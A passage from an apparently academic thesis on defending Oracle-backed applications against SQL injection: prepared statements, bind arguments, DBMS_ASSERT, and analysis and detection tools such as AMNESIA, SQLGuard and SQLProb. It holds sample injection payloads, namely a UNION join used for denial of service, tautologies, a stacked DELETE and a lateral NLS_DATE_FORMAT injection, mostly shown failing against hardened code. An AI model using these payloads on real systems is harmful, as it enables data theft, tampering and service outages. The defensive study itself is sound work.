Figure 25 shows the activity report of the Oracle database system. The CPU usage has increased dramatically during the period starting from around 7:32 to 7:37, and a SQL of type INSERT works extremely hard at that time. We also see that the top workload is coming from the session with username Scott and the program JDBC thin client.
Attackers can also try other DoS injections if the Piggybacked queries are not allowed. For example, assume attackers know some big tables in a database, they can simply send a query to join these tables. The following is an example of a UNION query injection that joins `bigtab_1` and `bigtab_2`.

```
union select bigtab_1.c2, bigtab_1.c3, bigtab_2.c2, bigtab_2.c3 from bigtab_1, bigtab_2
where bigtab_1.id = bigtab_2.id and bigtab_2.c3 like '%afjhfkl86eaffgjg+^asdg%'
```

The query also includes a search term "%afjhfkl86eaffgjg+^asdg%" to filter the result. It will take a lot of time to match each string stored in the table, especially if the string is very long.

No matter what methods attackers use, they are trying to flood the target system by sending a large amount of CPU intensive queries and make the sources and services unavailable to other users.
Researchers have proposed many approaches to address the problem of SQL injection attacks. They can be roughly divided into two categories: techniques about how to build secure applications and database systems (e.g. defensive programming practices), and techniques focus on how to protect an existing system (e.g. intrusion detection systems). Techniques from only one category are usually not good enough to ensure system safety. To guard a system against SQL injection, we need techniques from both categories. This chapter will present the techniques for building secure applications and database systems.

3.1 Secure Applications against SQL Injection Attacks

Chapter 2 shows SQL injection attacks have many types and variant forms. Hackers can submit malicious user input to a vulnerable web application to conduct attacks. The best way to prevent SQL injection vulnerabilities is to write secure programs.

3.1.1 Defensive Programming Techniques

Many SQL injection attacks are easy to defend against with defensive programming practices. To prevent SQL injection vulnerabilities in an application, different programming languages have their specific approaches. Prepared statement is a very effective technique used by many programming languages such as Java, PHP, and Perl [11].
To show how prepared statements work in JAVA language, I modified the user authentication application (shown in Figure 2) by changing the regular statement to a prepared statement. As shown in Figure 26, the variable sql now contains a SQL statement with question marks, which serve as placeholders for the input data. User input data for the bind variables name and pass are passed to placeholders through the setter method setString. Therefore, the input data are bound to the placeholders and cannot modify the SQL statement itself [11]. The program is provided in Appendix A.8.

```
String sql="select * from users where loginname=? and pwd=?";
System.out.println("sql:"+sql);
PreparedStatement pstmt1 = conn.prepareStatement(sql);
pstmt1.setString(1,name);
pstmt1.setString(2,pass);
ResultSet rs1=null;
rs1=pstmt1.executeQuery();
```

Figure 26: Rewrite the User Authentication Program Using Prepared Statements

As Section 2.6 explains, attackers can insert text “and <true condition>” to test if the application is vulnerable to SQL injection attacks. An example shows this fingerprinting approach in Figure 20. However, when the program uses prepared statements, attackers cannot find the vulnerability by this way anymore. I used the same injection method to test the new program. Unlike the fingerprinting example in Figure 20, which displays the same result as that in normal use, Figure 27 shows the injection to the new program receives “login failed” message. The reason is the prepared statement takes the whole input “qqqqq’ and ‘1’=’1’ as a password. Because there is no matching record in the USERS table, the authentication fails.
I also tested all the SQL injection examples shown in Figure 3, 4, and 5 on this modified program. The following figure shows the results of them. First, I ran the program for a normal use. The application returned the correct information for the legitimate user. Then I tried two tautology-based SQL injections and one UNION SELECT injection that had launched attacks successfully through the original user authentication application. As Figure 28 shows, all the attacks failed on the modified program. The testing result shows that prepared statements can easily repair SQL injection flaws in an application program.
However, prepared statements are not panacea for preventing SQL injection attacks. The second order injection example (shown in Figure 16) shows prepared statements can be used to seed a malicious string into a database. What’s more, inappropriate usage of prepared statements can also make a program vulnerable to SQL injections. For example, inexperienced programmers may forget to use bind variables with prepared statements. To write a secure program, bind variables need to be used together with prepared statements [12].
Developers also should implement input validation in their programs because insufficient input validation can cause vulnerabilities and a programming language’s type system is usually not good enough to check all the type errors [3, 13].

To build a secure application, it is important to educate developers, to let them know the threat of SQL injection attacks and how to write secure code to avoid them. It is helpful to establish coding standards to guide their development work. However, defensive coding techniques cannot guarantee a flawless program because human errors are inevitable. Developers might make coding mistakes or forget to perform input validation even though they have made an effort to follow all the coding standards [3, 12].

3.1.2 Program Analysis Techniques

To overcome the shortcomings of defensive programming techniques, developers can use program analysis techniques to test programs and to discover defects they have overlooked.

One popular technique for program analysis is static checking. Researchers have proposed various static checking techniques. Gould and colleagues [13, 14] proposed a technique called JDBC checker to perform static analysis and to verify the type correctness of dynamically generated SQL queries [14]. For example, Assume the following code fragment is in a Java application program that is used to obtain the total price of an order.

```java
String query = "select '$' || " + "sum(price) from orders where oid='" + order_ID +"';
```
There is a type matching error in the code. The string concatenates the character ‘$’ with the numeric value of sum(price). It is a runtime error, so the Java’s type system cannot find it. Improper type checking can cause security problems of an application. The JDBC Checker is to enforce type correctness using finite state automata. Researchers have tested the tool on a variety of web applications and have found many known and unknown type mismatching errors existing in programs successfully [13]. Although it is good for preventing SQL injection attacks that take advantage of type mismatching bugs, it is not good at finding more general forms of SQL injection attacks such as SQL injections that generate type correct queries [3, 15]. WebSSARI (Web application Security by Static Analysis and Runtime Inspection) [16] is another tool that can perform static analysis. It uses a lattice-based static analysis algorithm. The tool can perform static checking and insert runtime guard code automatically if insecure pieces of code are detected. Static checking techniques help programmers optimize codes, but they usually cannot find all the vulnerabilities in a system.

Kosuga et al. [15] proposed a testing and debugging technique called Sania for detecting SQL injection vulnerabilities during the development phase. Sania constructs a parse tree for every intended SQL query and considers all the leaf nodes that take user inputs as vulnerable spots. Sania can automatically generate attack requests based on a list of existing attack codes collected in an investigation. It constructs a parse tree for each attack request and compares the tree with the one built for the intended SQL query. If the two trees are different, Sania determines there is a SQL injection vulnerability. To test the
technique’s performance, Sania was compared with an existing popular web application scanner called Paros. Sania outperformed Paros by being able to detect more vulnerabilities and generating fewer false positives. However, this technique cannot guarantee low false negative rate because it is hard to collect a complete list of attack codes. In addition, because Sania only checks the spots that take user input values, it cannot discover Lateral SQL injection vulnerabilities that do not require user input.

Another type of program analysis techniques is black-box testing. The testing is not based on the knowledge of a program’s source code. Instead, testers take an external approach to get an attacker’s point of view. They interact with the application by entering various crafted user inputs and observing program behaviors so that they can find vulnerable points in an application. Researchers have proposed several black-box assessment frameworks such as WAVES, AppScan, WebInspect and ScanDo [16]. There are also a bunch of commercial tools and open source tools available [17]. The drawback of this approach is that it usually cannot find all of the vulnerabilities existing in a system. How many can be found depends on the testing data used.
3.2 Secure an Oracle Database against SQL Injection Attacks

As examples in Chapter 2 show, attackers can also exploit defects or vulnerabilities existing at the database level. Therefore, it is important to have the underlying database system safeguarded.

The Oracle website has suggested avoidance strategies against SQL injection attacks, covering privileges management, defensive coding techniques, and input sanitization. The core idea of privileges management is to apply the principle of least privilege to user accounts. By strictly controlling privileges and revoking any unnecessary privileges of users, the approach is trying to “reduce the attack surface”, because the less exposed interfaces to users, the less possibility of abuse [6].

This section will focus on the defensive coding techniques and input sanitization.

3.2.1 Defensive Coding Techniques

To write secure PL/SQL programs such as stored procedures, the basic strategy is to use static SQL and avoid dynamic SQL, and when dynamic SQL is needed, use it together with bind arguments, which can bind user inputs with the corresponding placeholders in SQL statement [6].

The major problem of SQL injection attacks against a PL/SQL program (e.g. stored procedures) stems from dynamic SQL. Therefore, the best way to eliminate SQL injection vulnerabilities in PL/SQL programs is to avoid using dynamic SQL.
Static SQL is a more secure approach, because a static SQL statement is fixed at compile time and user inputs would not change its text. For security purpose, developers need to use static SQL instead of dynamic SQL whenever it is possible. For example, we can rewrite the stored procedure `update_emp` (shown in Figure 7) by changing the dynamic SQL to a static SQL. Figure 29 shows the modified stored procedure, which is more secure than the original one.

```
CREATE OR REPLACE PROCEDURE update_emp
    (pid IN varchar2, eid IN varchar2) AS
BEGIN
    update employee set position_id = pid where id=eid;
END;
/
```

Figure 29: The Stored Procedure that Uses Static SQL

However, dynamic SQL is unavoidable under some conditions as described in Section 2.3. In the cases when dynamic SQL is required, bind arguments should be used together with dynamic SQL so that the user inputs will not be concatenated directly with the statement. Using bind arguments is an effective way to mitigate SQL injection vulnerabilities.

Consider the stored procedure example used to retrieve a user’s email in Figure 10. The vulnerable stored procedure uses a dynamic SQL statement. I can use bind arguments to make it invulnerable to SQL Injection attacks. Figure 30 shows the result of the code running. The code in bold text illustrates the use of bind arguments.
Dynamic SQL statement using bind arguments

```
SQL> CREATE OR REPLACE PROCEDURE show_email
2     (login_name IN varchar2, password IN varchar2, email OUT varchar2)
3  IS
4     stmt varchar2(4000);
5  BEGIN
6     stmt:='select email from users where loginname=:1 and pwd=:2';
7  DBMS_OUTPUT.PUT_LINE('stmt: '|| stmt);
8  EXECUTE IMMEDIATE stmt INTO email USING
9     login_name,password;
10  DBMS_OUTPUT.PUT_LINE('The email is ' || email);
11  end;
12  /
Procedure created.
SQL> show errors
No errors.
SQL> --example of a normal use case
SQL> DECLARE
2     email varchar2(2000);
3  BEGIN
4     show_email('Bill_L','qqqqq',email);
5  END;
6  /
stmt: select email from users
      where loginname=:1 and pwd=:2
The email is bill@gmail.com
PL/SQL procedure successfully completed.
SQL> show errors
No errors.
SQL> --To test if the procedure is vulnerable to SQL Injection
SQL> DECLARE
2     email varchar2(2000);
3  BEGIN
4     show_email('xxx '' or loginname=''Mary_T''-- ','xxx',email);
5  END;
6  /
stmt: select email from users
      where loginname=:1 and pwd=:2
DECLARE
* 
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SCOTT.SHOW_EMAIL", line 12
ORA-06512: at line 4
SQL> show errors
No errors.
```

Figure 30: Stored Procedure Using Bind Arguments
As shown in the figure, after the procedure was created, I first tried a normal use by passing a pair of legitimate username and password to the procedure. The procedure returned the correct user’s email. Then I tried the same injection attack that was launched successfully as shown in section 2.3. However, this time the attack failed. Oracle responded with error message “ORA-01403: no data found”.

Again, I ran the java program (provided in Appendix A.3) that calls the procedure show_email. The result shown in Figure 31 demonstrated after the stored procedure had been secured at the underlying database level, the same SQL injection attack did not work through the application level either.

![Figure 31: Try SQL Injection through JDBC](image)

Bind arguments can also be used to handle Lateral SQL injection. If there are variables of DATE or NUMBER data type in a PL/SQL program, you can pass them using bind arguments to eliminate the Lateral SQL injection vulnerabilities. To illustrate how this would work, I modified the original procedure sales (shown in Figure 18) by replacing SYSDATE with a DATE variable $d$. The modified procedure is shown in Figure 32.
CREATE OR REPLACE PROCEDURE sales
(d IN date,s OUT number)
IS
  stmt CONSTANT VARCHAR2(4000) :=
    'select sum(price) from orders where odate+30>'||d||'''';
BEGIN
  DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
  EXECUTE IMMEDIATE stmt into s;
  DBMS_OUTPUT.PUT_LINE('total sales:'||s);
END;

Figure 32: The Procedure Sales Rewritten by Using DATE Variable

The modified procedure has exactly the same functionality and behavior as the original one. When a program calls the procedure, if it passes the value of SYSDATE to the parameter \(d\), the result will be the same as that shown in Figure 18. The procedure is susceptible to Lateral SQL injection attacks. The testing result of the procedure is shown in Appendix A.9.

To test if bind arguments can handle the Lateral SQL injection vulnerability in this procedure, I made a small change to the procedure by replacing the variable \(d\) with a placeholder and using bind arguments. As shown in Figure 33, the bold text is where the bind argument is used. Then I ran two tests. The first test was the normal use of the procedure, and the second test was the Lateral injection attack. The result of the two tests received the same correct answers from the procedure, which means the attack failed. If the attack had succeeded, the result of the attack would be 20, like the result shown in Figure 18.
SQL> --using bind arguments to handle lateral sql injection
SQL> CREATE OR REPLACE PROCEDURE sales
2     (d IN date,s OUT number)
3  IS
4     stmt CONSTANT VARCHAR2(4000) :=
5       'select sum(price) from orders where odate+30>:1';
6  BEGIN
7     DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
8     EXECUTE IMMEDIATE stmt into s USING d;
9     DBMS_OUTPUT.PUT_LINE('total sales:'||s);
10    END;
11  /
Procedure created.
SQL> show errors
No errors.
SQL>
SQL> SET SERVEROUTPUT ON;
SQL> DECLARE
2 s number;
3 d DATE :=SYSDATE;
4 BEGIN
5 sales(d,s);
6 END;
7 /
stmt: select sum(price) from orders where odate+30>:1
total sales:70
PL/SQL procedure successfully completed.
SQL> ALTER SESSION SET NLS_DATE_FORMAT=''' or oid='A0001''--'';
Session altered.
SQL> select sysdate from dual;
SYSDATE
------------------
' or oid='A0001'--

SQL> DECLARE
2 s number;
3 d DATE :=SYSDATE;
4 BEGIN
5 sales(d,s);
6 END;
7 /
stmt: select sum(price) from orders where odate+30>:1
total sales:70
PL/SQL procedure successfully completed.

Figure 33: Guard the Procedure against Lateral Injection Using Bind Arguments
The example demonstrates that bind arguments can also eliminate Lateral injection vulnerabilities in variables of DATE type. However, bind arguments cannot solve all Lateral injection problems. For example, the vulnerability of the original stored procedure `sales` (shown in Figure 18) cannot be fixed using this approach because it directly uses SYSDATE in the code.

There are also other situations where we cannot use bind arguments, such as Oracle identifiers and DDL statements [6]. For example, the following dynamic SQL statement is not suitable for using bind arguments because it concatenates an identifier `tablename`.

```sql
sql CONSTANT VARCHAR2(4000) := 'select * from ' || tablename ;
```

It is dangerous when there is a dynamic SQL statement that cannot use bind arguments existing in a program. Attackers can exploit it by injecting malicious code. Under this situation, developers must perform input filtering and sanitization to guard against SQL injection attacks [6].

3.2.2 Input Sanitization

To filter user inputs, developers need to check if user inputs are valid, e.g., if a column name submitted by a user really exists in the Oracle data dictionary view `USER_TAB_COLS` [5]. Developers can write PL/SQL programs to sanitize user inputs. For example, to find if a table name is valid, they can write an input validation program including the following piece of code:

```sql
Select table_name into v_table from ALL_TABLES;
```
The code would search the view ALL_TABLES to see if the table name is valid.

Oracle has a package called DBMS_ASSERT to help programmers to do the input sanitization. The package has several useful functions for preventing SQL injection attacks, such as the function QUALIFIED_SQL_NAME, SIMPLE_SQL_NAME, and ENQUOTE_LITERAL.

For example, the function DBMS_ASSERT.ENQUOTE_LITERAL encloses a user input within single quotes. It can also check if all other single quotes are paired with adjacent single quotes. If it finds ill-formed inputs, the “ORA-06502: PL/SQL: numeric or value error” exception will be raised. [5, 6]

I will use the vulnerable stored procedure update_emp (shown in Figure 7) as an example to describe how the function works. Figure 8 shows an attacker successfully exploited the procedure’s vulnerabilities by using the program procedure_update_emp.java to call the procedure and injecting malicious text “ 111' ; DELETE FROM orders WHERE oid='A0001 ”.

I changed the original stored procedure by applying the function DBMS_ASSERT.ENQUOTE_LITERAL to it. Figure 34 shows the new procedure.
CREATE OR REPLACE PROCEDURE update_emp (pid IN varchar2, eid IN varchar2)
IS
    stmt varchar2(4000);
BEGIN
    stmt:='begin
        update employee set position_id='||dbms_assert.enquote_literal(pid)||' where id='||dbms_assert.enquote_literal(eid)||';'||'END;';
    DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
    EXECUTE IMMEDIATE stmt;
END;
/
Show errors

Figure 34: Stored Procedure Using the DBMS_ASSERT Package

Then I ran the program `procedure_update_emp.java`. As shown in Figure 35, this time the injection failed and the error “ORA-06502: PL/SQL: numeric or value error” was raised.

```
E:\javapro>java procedure_update_emp
Please enter the employee’s id: 1111;DELETE FROM orders WHERE oid='0001
Please enter the new position id any
Connected to the Oracle database
java.sql.SQLException: ORA-06502: PL/SQL: numeric or value error
ORA-06512: at "SYS.DBMS_ASSERT", line 310
ORA-06512: at "SYS.DBMS_ASSERT", line 369
ORA-06512: at "SCOTT.UPDATE_EMP", line 6
ORA-06512: at line 1
```

Figure 35: DBMS_ASSERT.ENQUOTE_LITERAL Prevents SQL Injection

The package DBMS_ASSERT can help programmers do input validation. However, it is not a heal-all solution. It works by verifying if user inputs match any known patterns in its collection, but it is not a comprehensive solution for all kinds of malicious inputs [6]. For example, [18] shows a way to bypass the QUALIFIED_SQL_NAME function in the package. The attacker can simply double quote his malicious input to circumvent the
input validation performed by this function. To solve the problem, programmers can write programs to perform input validation. However, this could be very time consuming.

Another way to sanitize inputs is to directly apply explicit format models in the program to make sure the input string will be converted to expected format [5]. This approach is especially helpful for preventing Lateral SQL injection. To illustrate how this works, I modified the original procedure `sales` (shown in Figure 18), applying a `to_char` function to convert `SYSDATE` to a `VARCHAR2` value. The bold part in Figure 36 shows the changes. Therefore, no matter what format will be specified in `NLS_DATE_FORMAT`, the `SYSDATE` value will not be influenced. Again, I tested the new procedure in the normal case and in the injection case. Both cases received the correct answer. The Lateral injection attacks did not work.
SQL> CREATE OR REPLACE PROCEDURE sales
2     (s OUT number)
3  IS
4     stmt CONSTANT VARCHAR2(4000) :=
5       'select sum(price) from orders where odate+30>\n6       DATE ''||to_char(sysdate,'YYYY-MM-DD')||'';
7  BEGIN
8     DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
9     EXECUTE IMMEDIATE stmt into s;
10    DBMS_OUTPUT.PUT_LINE('total sales:'||s);
11   END;
12  /
Procedure created.
SQL> show errors
No errors.
SQL>
SQL> SET SERVEROUTPUT ON;
SQL> DECLARE
2     s number;
3  BEGIN
4     sales(s);
5  END;
6  /
stmt: select sum(price) from orders where odate+30>DATE '2010-04-08'
total sales:70
PL/SQL procedure successfully completed.

Figure 36: Uses Explicit Format Models to Guard a Procedure
Chapter 4

PROTECTING EXISTING SYSTEMS

Chapter 3 has presented techniques used to mitigate vulnerabilities in both the application layer and the database layer during software development phase. However, there is no heal-all solution, and human errors are unavoidable. What’s more, new kinds of SQL injection attacks may arise. Therefore, even developers who make great effort to follow all the existing technique standards cannot guarantee the safety of their applications and the back-end database. For those systems that are not built in a security-critical way, the problem would be even worse.

SQL injection issues are relative new in the information security area. Many old systems were designed when developers were not aware of such threats. In fact, SQL injection vulnerabilities are so prevalent that simple Google searching can find many of them. To rewrite all of the vulnerable code sections of an existing system is both time-consuming and often impractical due to financial or time constrains. Therefore, techniques for protecting deployed systems against SQL injection attacks are important. This chapter will present the research work that has been done in this area.
4.1 Static Analysis Approach

As discussed in Chapter 3, static analysis can help programmers detect vulnerabilities they have overlooked and optimize codes. Although it is best used in the application development and debugging phase, it can also be used for protecting existing applications and programs. Developers can use static analysis to find bugs in programs so that they can modify source code or make patches for the applications. However, it could be tedious and time-consuming to patch a deployed system. In addition, static analysis often fails to detect all kinds of vulnerabilities so that it is easy to get high false negative rate [19]. What’s more, static analysis can only identify the information available at compile time. In some cases, static analysis cannot capture the exact structure of an intended query because the full structure is only known at runtime [20]. For example, a web application of a bookstore allows users to search books and can display the result in the order that is specified by users. The search result can be sorted by any of the columns such as the author’s name and publication date by using an ORDER BY clause in the query. At compile time, it is impossible to know if or not the clause will be present in the query, because if a user does not want a sorted result he may just ignore the “Order by” options on the webpage. If the ORDER BY clause is used, it is still impossible to know the exact query statement at compile time because what column users will choose to sort results remains unknown until the runtime.
4.2 Combining Static Analysis and Runtime Analysis

Halfond and Orso [21] proposed a technique called AMNESIA to handle SQL injection problems by combining static analysis and runtime monitoring techniques. In its static phase, AMNESIA first finds all the hotspots in the application code. Hotspots are the points in a program where SQL queries are issued. Then AMNESIA builds a character-level Non-Deterministic Finite Automaton (NDFA) model for each hotspot by using the Java string analysis technique similar to the one used in [13]. The character-level model is further analyzed to group characters into SQL tokens and string tokens. A SQL token is a SQL keyword, a delimiter or an operator. A string token could be a hard-coded string written by programmers or a user submitted value [21]. Figure 37 shows an example SQL query model that represents two queries at a hotspot.

![Figure 37: An SQL Query Model [22]](image)

To counter SQL injection attacks, a call to a monitor is added into the program at each hotspot. A monitor is used to check the queries at runtime [22]. In the dynamic phase, the monitor will be invoked if a hotspot receives values. Then the monitor will parse the runtime generated SQL query into tokens and delimiters [21]. To find if the SQL query is legitimate, AMNESIA simply needs to check the parsed query against the corresponding SQL query model. If the model accepts the query, the monitor will consider it as a valid
query and then pass it to the back-end database. For example, the following query will be accepted by the model using the first branch shown in Figure 37:

SELECT info FROM users WHERE login = 'guest';

But if we feed another query

SELECT info FROM users WHERE login = 'anyname' or 1=1 -- 'and pass = ' anypwd';

into the model, it will not be able to reach the final accept state because the token OR does not match the token AND in the model.

If the query does not match the model, the monitor will abort it and report the attack information, which will help developers to design appropriate ways to handle the attacks according to their specific needs [21]. For example, the information can be added into the pool of attack patterns and used by an intrusion detection system.

The accuracy of the static analysis results would affect the performance of AMNESIA. For example, if the static analysis creates imprecise models, AMNESIA could raise a false alarm when a legitimate query comes in or fail to detect some SQL injection attacks [21]. In addition, the technique requires adding codes into the application programs to call the monitor. That could add extra burdens to developers [19].


4.3 Runtime Analysis Techniques

4.3.1 SQLGuard

SQLGuard is a runtime analysis technique that uses parse tree validation to counter SQL injection attacks [20]. SQL injections would change the structure of the query expected by programmers. Therefore, by comparing the tree structure of the SQL query before and after the inclusion of user submitted values, the technique can determine if there are SQL injection attacks [20]. As discussed in section 4.1, in some cases static analysis cannot capture the exact structure of a query at compile time. Therefore, it is not good enough to simply compare the structure of a SQL query statement captured at compile time and the structure of the same query generated at runtime. SQLGuard, however, is trying to capture tree structures at execution time.

The core of the technique is to wrap user input using a random key and then replace the wrapped user input by a single token. Then the SQL query can be used to generate a runtime captured structure of the intended SQL query that does not include the user input.

For example, assume there is a secret key $K$, which is not part of user inputs or the program code, and there is a query:

\[
\text{Select * from employee where first_name = 'Bill' and last_name = 'Lee';} \quad (1)
\]

To use the key $K$ to wrap the two user inputs “Bill” and “Lee” in the SQL query, we can simply concatenate the key $K$ with them [20, 23]. Therefore, the query will be changed to:
Select * from employee where first_name = 'KBillK' and last_name = 'KLeeK'; (2)

Then we can replace each wrapped user input by a single literal token such as “?” [20, 23]. The query becomes:

Select * from employee where first_name = ‘?’ and last_name = ‘?’; (3)

A parse tree can be built for the query (3). The literal tokens will appear to be the leaf nodes of the tree. This method maintains the intended structure of a query because only the user provided portions are replaced. Then we build another tree for query (1) which includes user input values. The two trees will be compared concerning the node types, and the values of corresponding nodes [23]. If the two trees have the same structure, the query will be determined as legitimate. Otherwise, it is rejected.

SQLGuard generates a 64-bit (8 characters) random key for each query by inserting the method SQLGuard.init() to each hotspot, so the technique requires code changes on the programs. The key should be secret and never be a part of user input or program code [20]. It also should be hard to guess. Otherwise, attackers may bypass the detection. However, to guess a 64-bit key is not very difficult by using some key cracking tools. To reduce the possibility of key compromising, the technique may use longer keys.

4.3.2 SQLProb

SQLProb [24] is another dynamic analysis approach. It uses a customized MySQL Proxy to collect queries, extract user input, generate parse trees, and validate user input. Figure
Figure 38: Overview of the SQLProb System Architecture [24]

In the data collection phase, the Query Collector collects all the queries expected by the programmer and stores them in the system. In the query evaluation phase, an incoming query $q$ generated by the application is sent to the Parse Tree Generator module and the User Input Extractor module at the same time. The Parse Tree Generator module generates the tree $\text{Tree}(q)$ for the query using JavaCC. The User Input Extractor module uses an enhanced version of the Needleman-Wunsch algorithm to align query $q$ with all the queries gathered in the data collection phase [24]. The algorithm can calculate the similarity of the query $q$ and every collected query. The collected query that has the highest similarity value is called the prototype query of $q$. If there are $m$ queries stored in the system, this step will require $m$ comparisons, which is expensive. So the system preprocesses all the collected queries by clustering and aggregating them to reduce the
size of the query collection. The paper shows the size of the collected query can be reduced to only 6% to 25% of the original size [24]. This will save a lot for the query comparisons.

After the prototype query of $q$ has been found, the Needleman-Wunsch algorithm extracts the user input portion of $q$ by aligning $q$ and its prototype query. The extracted user input is fed into the User Input Validator module. Tree($q$) generated by the Parse Tree Generator also comes into this module. The user input is actually corresponding to a set of leaf nodes that appear in the parse tree. Let $S$ denotes this set of nodes. To validate the user input, we simply conduct an upward depth-first search from all the nodes in $S$ until their paths intersect at an internal node. Then starting from this internal node, we perform a breadth-first search to reach all the leaves of the tree. If the result set of the leaves is a superset of $S$, the user input is considered malicious and will be rejected. Figure 39 shows an example WHERE clause subtree. The user input for the password field is “nonsense’ OR ‘1=1”. Its corresponding five leaf nodes intersect at the node $SQLExpression$ by using depth-first search. Then starting from the node $SQLExpression$, we can do breadth-first search which will reach all the leaves of this WHERE clause subtree. The breadth-first search result is a superset of the five leaf nodes. Therefore, the user input is determined as malicious.
Unlike many other approaches such as [20, 21] that need to add functions or methods to the source code, SQLProb does not require any code changes. Due to the nature of the Needleman-Wunsch algorithm, if the queries need to be compared are very long, the technique can cause significant delay [24]. The performance of SQLProb also depends on the completeness of the collected queries as well as the accuracy of aggregating these queries. What’s more, SQLProb development uses the off-the-shelf MySQL Proxy, which is a program for MySQL server. So this tool cannot be used on other database systems.
4.4 Signature Based and Anomaly Based Intrusion Detection

Signature based intrusion detection works by conducting pattern matching on incoming traffic with a list of known attack patterns maintained in the system. For example, the signature of a tautology-based SQL injection may contain expressions describing attack patterns such as “or <true condition> -- ”. Signature based protection have been widely used to guard systems against SQL injection attacks. Due to its nature, signature based detection has low false alarm rate, but it cannot detect new attacks whose patterns have not been observed. The list of known attack patterns needs to be updated regularly. What’s more, there are many techniques can be used by attackers to evade the signature based detection, such as the alternative encoding techniques which can change the look of a malicious string [3, 25].

Another type of intrusion detection techniques is anomaly detection. Anomaly detection technique trains models by using a set of normal usage patterns. The model can then be used to monitor the incoming traffic. When a significant deviation from the expected patterns is detected at runtime, the deviation will be reported as a possible attack.

Fredrik Valeur et al. [26] proposed an anomaly-based intrusion detection system based on machine learning technique. In the training phase, the technique feeds a number of attack-free application queries into the machine-learning algorithm, which will then generates models that can characterize the profiles of normal usages. The anomaly scores of all the training queries are also calculated. The maximum score will be set to be the anomaly threshold. In the detection phase, the intrusion detection system intercepts the
communication from applications to the back-end database server. The incoming queries
are transformed by a feature selector into the one of the forms supported by the models.
The detection engine then tries to classify them using the models and generates the
assessment report for each incoming query. The system calculates anomaly score for each
query. If a query’s score is higher than the threshold, the query is determined as a SQL
injection attack and will be dropped. In principle, the anomaly-based detection can detect
new attacks. However, in practices, this is difficult to achieve. The quality of the models
depends on how accurate and comprehensive the training data are as well as how good
the learning algorithm is. It is usually hard to obtain high quality training data. A poor
collection of the normal database access data could result an imprecise model that will
generate high false positive rate and high false negative rate.
4.5 Specification-based Approach

Kemalis and Tzouramanis [19] proposed a specification-based approach to detect SQL injection attacks. This technique is based on the assumption that an injected statement and the intended statement of the program have different structures. Therefore, a comparison of their structures can tell if the submitted statement is malicious.

We can use specifications to describe the intended structure of all the application-generated statements. The specifications describe the rules about what syntactic structure an application-generated SQL query should follow in order to be considered as legitimate [19]. Kemalis and Tzouramanis created specifications for their applications using Extended Backus Naur Form (EBNF) based on the ISO/IEC SQL database language criteria. Figure 40 shows the specification for the following SQL query.

Select user_id, user_level from users where username = ‘abc’ and password = ‘a@fa’;

```
<Query specification> ::= SELECT <Select List> <From Clause> <Where Clause>
<Select List> ::= <Table Column> (<COMMA> <Table Column>)*
<From Clause> ::= FROM <Table reference>
<Where Clause> ::= WHERE <search condition> AND <search condition>
<search condition> ::= <Table Column> "=" <STRING_LITERAL>
```

Figure 40: The Specification for the Given SQL Query [19]
An intrusion detection system named SQL-IDS was built. It contains two modules: the validity check module (VCM) and the event monitoring module (EMM). The intrusion detection system monitors traffic between the Web application and the back-end database. The event monitoring module filters the traffic by intercepting SQL queries and sending them to the validity check module. The VCM performs lexical analysis and syntactical analysis on the received SQL queries and parse them to tokens [19]. Then the tokens of a SQL query are checked against the pre-defined specifications to identify if the query is a syntactically correct SQL statement. The legitimate SQL query will be forwarded to the database. If a syntactically wrong SQL is detected, the system will raise an alarm and abort the execution of the query.

An advantage of this approach is that it can be applied to any application environments and database systems [19]. According to the paper, the testing result of SQL-IDS shows the system has very good performance with zero false negative and zero false positive. The performance actually relies on the completeness of the ISO/IEC standard criteria and if or not all the expected application-generated SQL statements have been correctly specified. Another advantage of this technique is that it does not need to modify the application source code.
4.6 Fine-grained Access Control Approach

Many solutions [15, 20, 22, 24, 26] prevent SQL injection attacks at the application level. They intercept queries generated from applications, evaluate them, and reject malicious queries if any are found. Another possible approach is to use a database level solution to prevent attacks. Alex Roichman et al. [27] proposed a fine-grained access control mechanism to make databases resistant to the attacks by using parameterized views.

In the 3(or more)-tier architecture of web applications environment, users communicate with the back-end database through the web server, which accesses the database using a super user account. The user-based access control is done by the web applications instead of the database access control mechanism. However, the way to implement access control by writing application code has its limitations. It puts extra burden to programmers, and requires security specialists to be involved. Another problem of the 3(or more)-tier architecture is that it is impossible to distinguish between the transactions of different users, because the connections to the database use the connection polling technique [27].

Parameterized views approach is proposed to solve these problems by conducting fine-grained access mechanism at database level. Current SQL servers do not support passing parameters to a view. Therefore, when the database can only be accessed by the super user from the web server, current views cannot do the user-based access control. To solve the problem, parameters should be allowed in views. Figure 41 shows an example of parameterized views. A student’s ID is passed to the view and the view will only display the data relevant to this student’s ID from the table Student_Marks_Table.
Figure 41: A Parameterized View [27]

The parameter value passed to the view should not be explicit. Otherwise, hackers can easily exploit it to conduct attacks. For example, if there is a SQL statement

```
select * from Student_Marks_View (id) where course_no = course_number;
```

A student can enter his id to retrieve the relevant information. If a student wants to see the information of another student whose ID is 123, he can simply inject “union select * from Student_Marks_View(123)” to the course_number point. To solve the problem, the parameter needs to be a random secret key that is hard to guess by attackers [27].

The key-based parameter method proposed in the paper has two solutions. The first solution is to use a session key parameter. It requires a user to first submit his/her identification (e.g. name and password) to the web application. Then the application sends the request to the database, where a stored procedure will check the identification. If it is accepted, the stored procedure will return a random session key (AS_key) to the application and save the key into the table of active users. Then the session key can serve as the parameter passed to the view to identify the user. This approach can effectively reduce the number of successful attacks. However, it is not safe to use a key repeatedly.

```
CREATE VIEW Student_Marks_View
WITH   pStudent_No
SELECT *
FROM   Student_Marks_Table
WHERE  Student_No = :pStudent_No
```
Therefore, the second solution is to use the rolling key, which can change its value every time after it has been used. This approach requires the application and the database share a secret key (Enc_key) beforehand. The key Enc_key can be used together with the last rolling key to compute the next rolling key. The rolling key method is safer than only using the session key, but it is more computational expensive.

For anonymous users who do not need to be authenticated using username and password, the key-based parameterized method can be used for each anonymous user session. It can still prevent attacks from anonymous users.

The safety of the key-based parameterized method depends on the secrecy and the randomization of the keys. Longer keys are more secure but require more computations. If attackers can successfully crack a key or can eavesdrop to find keys transmitted between the application and the database, the access control may fail.

Parameterized views are still not available in current SQL databases. Moreover, it requires view creation for all the tables that can be accessed. This could introduce burdens for developers. However, the idea of using parameterized views to do access control is useful and we can still implement the method using stored functions. Figure 42 shows a table function that has the same functionality as a key-based parameterized view.
CREATE FUNCTION Student_Marks_Func
  (pAS_key) RETURNS Table
BEGIN
